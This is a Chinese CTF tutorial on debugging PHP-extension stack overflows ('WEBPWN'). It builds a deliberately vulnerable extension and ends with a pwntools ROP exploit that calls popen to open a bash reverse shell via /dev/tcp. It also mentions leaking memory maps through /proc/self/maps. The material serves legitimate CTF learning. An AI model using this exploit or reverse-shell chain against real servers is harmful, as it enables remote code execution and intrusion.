WEBPWN入门级调试讲解

 

前言

五一的假期整好赶上De1CTF,结果就是又被大师傅们吊打了,遇见一道WEBPWN,WEBPWN类型的题,网上资料相对较少,而且调试过程也基本没有记录,借此机会又学习了一波,记录一下

 

前置知识

WEBPHP介绍

WEBPWN类型的题目,目前大部分多为PHPPWN,其实就是PHP加载外部扩展,核心漏洞点在so扩展库中,由于是php加载扩展库来调用其内部函数,所以和常规PWN题最大的不同点,就是不能直接获得交互式shell,与常规PWN题相同的,对于栈溢出漏洞来说,依然是采用ROP链的方式来绕过NX,然后最后进行的攻击效果是期望获得能反弹到vps上的交互式shell,这里大部分可以采用popen,或者exec函数族来进行执行bash命令来反弹出shell,直接执行one_gadget或者system是不太可行的。

PHPPWN相关前置知识点

要解决PHPPWN类型的题目,我们就得先了解一下PHP扩展。
在Linux环境下,PHP扩展通常为.so文件,扩展模块放置的路径我们可以通过下面的方式来查看

$> php -i | grep -i extension_dir
extension_dir => /usr/lib/php/20170718 => /usr/lib/php/20170718

扩展模块的生命周期:

  1. Module init 即MINIT

    PHP解释器启动,加载相关模块,在此时调用相关模块的MINIT方法,仅被调用一次

  2. Request init 即RINIT

    每个请求达到时都被触发。SAPI层将控制权交由PHP层,PHP初始化本次请求执行脚本所需的环境变量,函数列表等,调用所有模块的RINIT函数。

  3. Request shutdown 即RSHUTDOWN

    请求结束,PHP就会自动清理程序,顺序调用各个模块的RSHUTDOWN方法,清除程序运行期间的符号表。

  4. Module shutdown 即MSHUTDOWN

    服务器关闭,PHP调用各个模块的MSHUTDOWN方法释放内存。

PHP的生命周期常见如下几种:

  1. 单进程SAPI生命周期
  2. 多进程SAPI生命周期
  3. 多线程SAPI声明周期

CLI运行模式:

通常我们在开发PHP扩展时,多是用命令行终端来直接使用php解释器直接解释执行.php文件,在.php文件中我们写入需要调用的扩展函数,该扩展函数被编译在.so的扩展模块中,这种运行模式我一般称为CLI模式,该模式对应的php声明周期一般为单进程SAPI生命周期

CGI运行模式

其中对于大部分网站应用服务器来说,大部分时候PHP解释器运行的模式为CGI模式——单进程SAPI生命周期,此模式运行特点为请求到达时,为每个请求fork一个进程,一个进程只对一个请求做出响应,请求结束后,进程也就结束了。其中fork的进程,和原进程的内存布局一般来说是一模一样的,所以这里如果能拿到/proc/{pid}/maps文件,则可以拿到该进程的内存布局,形成内存泄露,此方式在De1CTF中的这道WEBPWN上是第一个突破点,利用的其有漏洞的包含函数来读取/proc/self/maps,可以拿到所有基地址,从而无视PIE保护。

 

PHP扩展模块开发流程

经过上部分的简单介绍,我们大概了解了PHP的扩展模块,下面我们简要介绍一下PHP扩展模块的开发流程。
我本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境

# 安装php,以及php开发包头
$> sudo apt install php php-dev
$> php -v # 查看php版本
PHP 7.2.24-0ubuntu0.18.04.4 (cli) (built: Apr  8 2020 15:45:57) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.4, Copyright (c) 1999-2018, by Zend Technologies

我的版本为7.2.24,之后我们去php的github的源代码发布页面上下载相同版本的源代码。

php-7.2.24
  |____build    --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
  |____ext      --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
  |____main     --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。
  |____netware  --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。
  |____pear     --扩展包目录,PHP Extension and Application Repository。
  |____sapi     --各种服务器的接口调用,如Apache,IIS等。
  |____scripts  --linux下的脚本目录。
  |____tests    --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
  |____TSRM     --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
  |____win32    --Windows下编译PHP 有关的脚本。
  |____Zend     --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

扩展模块开发
首先我们进入源代码目录,使用如下目录生成扩展模块的工程项目

$>./ext_skel --extname=easy_phppwn

之后我们编写一个扩展函数,这是一个简单栈溢出演示,如下图所示:

同时在下方如图所示位置配置该扩展函数

写完之后我们使用如下命令配置编译

$> ./configure --with-php-config=/usr/bin/php-config

然后在生成的Makefile文件中,在如下位置设置编译参数,记得取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数

设置好之后我们可以直接使用make命令编译,编译完成后,会生成./modules,目录下就是我们需要的.so扩展文件,将其复制到,php扩展目录下,之后再php.ini文件中配置启动扩展即可,

# 通过find命令来查找 php.ini文件
$> sudo find / -name "php.ini"
/etc/php/7.2/apache2/php.ini
/etc/php/7.2/cli/php.ini    # 通常我调试时使用CLI模式,所以我只配置了该目录下的php.ini文件

在最下方加入

extension=easy_phppwn.so #easy_phppwn.so是扩展模块的文件名,应放在php的扩展模块目录下,在文章开头,有查找指令

完成之后,我们写一个.php文件,尝试调用phpinfo()函数进行查看

$> php test.php | grep "easy_phppwn" #test.php中仅一个phpinfo()函数
easy_phppwn
easy_phppwn support => enabled
PWD => /home/pwn/Desktop/phppwn/easy_phppwn
$_SERVER['PWD'] => /home/pwn/Desktop/phppwn/easy_phppwn

至此,我们完成了一个简单php扩展模块的开发,以及具备了调试了phppwn的环境。

 

PHP扩展模块的调试即PHPPWN的调试

我们直接使用IDA打开该扩展模块文件

void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value)
{
  char buf[100]; // [rsp+10h] [rbp-80h]
  size_t n; // [rsp+80h] [rbp-10h]
  char *arg; // [rsp+88h] [rbp-8h]

  arg = 0LL;
//   zend_parse_parameters 是zend引擎解析我们使用php调用改函数时传入的字符串,s代表以字符串的形式解析,&arg是参数的地址,&n是解析后的参数长度
  if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
  {
// 所以实际上这里有两次可溢出,一处是arg,一处是buf
    memcpy(buf, arg, n);
    php_printf("The baby phppwn.n");
  }
}

由于保护机制中开启了NX,所以我们依然采用rop的方式绕过
下面是具体的调试过程

首先我们写一个php文件,其中调用改easy_phppwn函数,如下:

// easy.php
<?php

$a = "abcd";
easy_phppwn($a);
?>

之后在终端中我们执行该文件:

$> php easy.php
The baby phppwn.

成功输出,则说明该扩展函数成功被调用
下面我们使用gdb来调试,这里我们主要测试memcpy导致的buf变量溢出,首先我编写了一个exp.py文件来生成带payload的.php文件,如下:

# exp.py
from pwn import *

def create_php(buf):
    with open("pwn.php", 'w+') as pf:
        pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))


buf = 'a'*0x80
buf += 'b'*0x10

create_php(buf)

运行exp

$> python exp.py
$> php pwn.php
The baby phppwn.
[1]    23692 segmentation fault (core dumped)  php pwn.php

说明成功触发栈溢出,现在我们使用gdb来进行调试,首先我这里假设我们之前在漏洞网站上已经泄露了maps文件已经获得了php进程的内存布局,所以我这里先关闭了本地随机化

$>gdb php
pwndbg> run
Starting program: /usr/bin/php 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

运行run以后,php在等待我们的输入,我们直接ctrl+c 终止掉程序,但是这里是不会退出gdb的,而是如下所示:

Program received signal SIGINT
pwndbg>

查看vmmap

pwndbg>vmmap
...
    0x7ffff28f4000     0x7ffff28f5000 r-xp     1000 0      /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff28f5000     0x7ffff2af5000 ---p   200000 1000   /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff2af5000     0x7ffff2af6000 r--p     1000 1000   /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff2af6000     0x7ffff2af7000 rw-p     1000 2000   /usr/lib/php/20170718/easy_phppwn.so
...

这里我们已经可以看到php 已经加载了 easy_phppwn.so
所以我们现在可以设置断点了,如果在run之前设置会提示找不到该函数,设置断点我们需要设置真正的函数名,其实是zif_funcname,也就是我们在ida中看到的函数名,这里就是zif_easy_phppwn,同时设置参数为之前生成的pwn.php文件

pwndbg>break zif_easy_phppwn
pwndbg>set args ./pwn.php
pwndbg>run
...
Breakpoint zif_easy_phppwn
pwndbg>

如果成功,则说明我们现在已经进入了该函数,现在我们可以开始进行调试rop链了,对了,如果该扩展是在本地编译的话是有源码的,所以这里可以直接进行源码级别的调试

...
────────────[ DISASM ]────────
 ► 0x7ffff28f4c46 <zif_easy_phppwn+25>    mov    qword ptr [rbp - 8], 0
   0x7ffff28f4c4e <zif_easy_phppwn+33>    mov    rax, qword ptr [rbp - 0x88]
   0x7ffff28f4c55 <zif_easy_phppwn+40>    mov    eax, dword ptr [rax + 0x2c]
   0x7ffff28f4c58 <zif_easy_phppwn+43>    mov    edi, eax
   0x7ffff28f4c5a <zif_easy_phppwn+45>    lea    rdx, [rbp - 0x10]
   0x7ffff28f4c5e <zif_easy_phppwn+49>    lea    rax, [rbp - 8]
   0x7ffff28f4c62 <zif_easy_phppwn+53>    mov    rcx, rdx
   0x7ffff28f4c65 <zif_easy_phppwn+56>    mov    rdx, rax
   0x7ffff28f4c68 <zif_easy_phppwn+59>    lea    rsi, [rip + 0xe5]
   0x7ffff28f4c6f <zif_easy_phppwn+66>    mov    eax, 0
   0x7ffff28f4c74 <zif_easy_phppwn+71>    call   zend_parse_parameters@plt <0x7ffff28f4a20>
────────────[ SOURCE (CODE) ]────────
In file: /home/pwn/Desktop/phppwn/php-src-php-7.2.24/ext/easy_phppwn/easy_phppwn.c
   71    function definition, where the functions purpose is also documented. Please
   72    follow this convention for the convenience of others editing your code.
   73 */
   74 PHP_FUNCTION(easy_phppwn)
   75 {
 ► 76   char *arg = NULL;
   77   size_t arg_len, len;
   78   char buf[100];
   79   if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
   80           return;
   81   }
────────────[ STACK ]────────
...

这样我们就可以愉快的进行调试了,当然开篇我已经提到,phppwn题目来说,是基本没法使用one_gadget,system(‘/bin/sh’)来直接获取交互式shell的,所以我这里通过使用popenv来开启一个反弹shell到vps上,当然其实还可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode,这样就不用去算栈偏移了,不过也差不多。

完整exp如下:

from pwn import *

context.arch = "amd64"

def create_php(buf):
    with open("pwn.php", 'w+') as pf:
        pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF("./libc-2.27.so")

libc.address = 0x7ffff5e25000

pop_rdi_ret = 0x2155f+libc.address
pop_rsi_ret = 0x23e6a+libc.address
popen_addr = libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'

stack_base = 0x7ffffffde000
stack_offset = 0x1c330
stack_addr = stack_offset+stack_base
layout = [
    'a'*0x88,
    pop_rdi_ret,
    stack_addr+0x88+0x30+0x60,
    pop_rsi_ret,
    stack_addr+0x88+0x28,
    popen_addr,
    'r'+'x00'*7,
    'a'*0x60,
    command.ljust(0x60, 'x00'),
    "a"*0x8
]
buf = flat(layout)

create_php(buf)

最终效果如下:

 

总结

其实webpwn类型的题目,对大部分选手来说,主要可能是难在调试环节上,网上基本没有详细介绍的文章,de1CTF那道webpwn,我本地打通了,但是由于libc的问题,导致服务没打通,有点可惜了,这里借此记录一下我个人调试的流程方法,分享给各位师傅。

 

参考

Wupco’s Blog-phppwn入门

(完)